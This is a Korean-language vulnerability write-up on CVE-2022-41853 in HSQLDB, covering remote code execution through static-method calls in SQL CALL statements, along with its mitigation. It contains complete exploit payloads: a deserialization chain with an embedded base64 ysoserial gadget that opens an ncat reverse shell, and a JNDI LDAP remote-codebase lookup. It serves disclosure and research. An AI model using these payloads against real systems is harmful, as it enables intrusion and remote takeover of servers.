
Research into CVE-2022-41853: Using static functions to obtian RCE via Java Deserialization & Remote Codebase Attack
hsqldb (HyperSQL DataBase)에서 java.sql.Statement 또는 java.sql.PreparedStatement를 사용하여 신뢰할 수 없는 입력을 처리하는 경우 원격 코드 실행 공격에 취약할 수 있습니다. 기본적으로 클래스패스에 있는 모든 Java 클래스의 정적 메서드를 호출할 수 있어 코드 실행이 가능합니다. 이 문제는 2.7.1로 업데이트하거나 시스템 속성 "hsqldb.method_class_names"를 호출이 허용된 클래스로 설정하여 방지할 수 있습니다. 예를 들어, System.setProperty("hsqldb.method_class_names", "abc") 또는 Java 인수 -Dhsqldb.method_class_names="abc"를 사용할 수 있습니다. 버전 2.7.1부터는 java.lang.Math에 있는 클래스를 제외한 모든 클래스가 기본적으로 접근 불가능하며 수동으로 활성화해야 합니다.
이 취약점의 최초 공개는 여기에서 확인할 수 있습니다.
OSS-Fuzz 팀
https://github.com/google/oss-fuzz
2021년에 저는 Mikhail Klyuchnikov의 블로그 게시물 "Remote Code Execution in F5 Big‑IP"을 읽고 있었습니다. 이 게시물에서는 경로 정규화 공격 + HSQL "CALL" 쿼리를 사용하여 임의의 Java 정적 메서드를 호출하여 RCE를 얻는 방법에 대해 다루고 있습니다.
당시 저는 Apache SOLR의 취약점을 보고 및 연구하고 있었기 때문에, SOLR의 JDBC Stream 예제가 HSQL을 사용한다는 것을 기억하고 테스트 환경을 구축하게 되었습니다.

참고: 불행히도 이 취약점은 기본 Apache Solr 서버에 영향을 미치지 않습니다. HSQL JAR이 Stream JDBC 구성 요소에서 드라이버에 접근할 수 있도록 " ./server/solr-webapp/webapp/WEB-INF/lib/" 폴더에 특별히 배치되어야 하기 때문입니다.
F5의 RCE가 "tmui.jar"(F5 애플리케이션에 특화된 JAR)에 있는 "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" 함수를 사용하기 때문에, 저는 애플리케이션에 독립적인 페이로드를 만들고자 했습니다. 그래서 일반적으로 사용되는 JAR들(예: Apache Commons Collections, Apache Log4J)을 연결하여 정적 함수를 호출하고 RCE를 얻는 방법을 조사하게 되었습니다.
ysoserial의 CommonsCollections* 가젯이 가장 먼저 떠올랐기 때문에, 저는 Java 역직렬화 방식을 선택했고 다음과 같은 결과를 얻었습니다:
java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') 호출 (보호 조치를 완전히 제거할 수 있는데 왜 우회하겠습니까 :)) )public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData)를 싱크로 사용하여 입력이 ObjectInputStream(x).readObject() 함수에 도달하도록 함public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) 또는 public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s)를 사용하여 인코딩된 ysoserial 페이로드 문자열을 deserialize(byte[] objectData)에서 처리할 바이트 배열로 변환전체 HSQL 페이로드는 다음과 같은 형식입니다:
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))
참고: 이 경우 ysoserial 페이로드는 CommonsCollection6 유형이며 ncat -e /bin/bash 127.1 4444 리버스 셸 명령을 실행합니다.
참고 2: 독립형 HSQLDB.jar는 Apache Commons Collections JAR를 포함하지 않으므로 이 페이로드에 취약하지 않습니다. 이 취약점은 (대부분의 경우) HSQL이 웹 애플리케이션(예: SOLR, Liferay 등)에 포함될 때 작동합니다.
자세한 내용과 익스플로잇 과정은 이 PDF에서 확인할 수 있습니다.
2023년에 이 주제에 대해 읽다가 iSafeBlue의 멋진 프레젠테이션 Exploring JNDI Attacks을 발견했습니다. 이 프레젠테이션에서는 java.lang.System.setProperty를 사용하여 com.sun.jndi.ldap.object.trustURLCodebase 또는 com.sun.jndi.rmi.object.trustURLCodebase를 true로 설정한 다음 LDAP/RMI 조회를 수행하여 Java 원격 코드베이스 공격을 성공적으로 수행하는 방법을 다루고 있습니다.
HSQL 페이로드 예시:
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')
결과:

참고: 알 수 없는 이유로 이 취약점은 기본 HSQLDB.jar에서 작동하지만 HSQL + Apache SOLR 환경에서는 작동하지 않습니다 ¯\_(ツ)_/¯.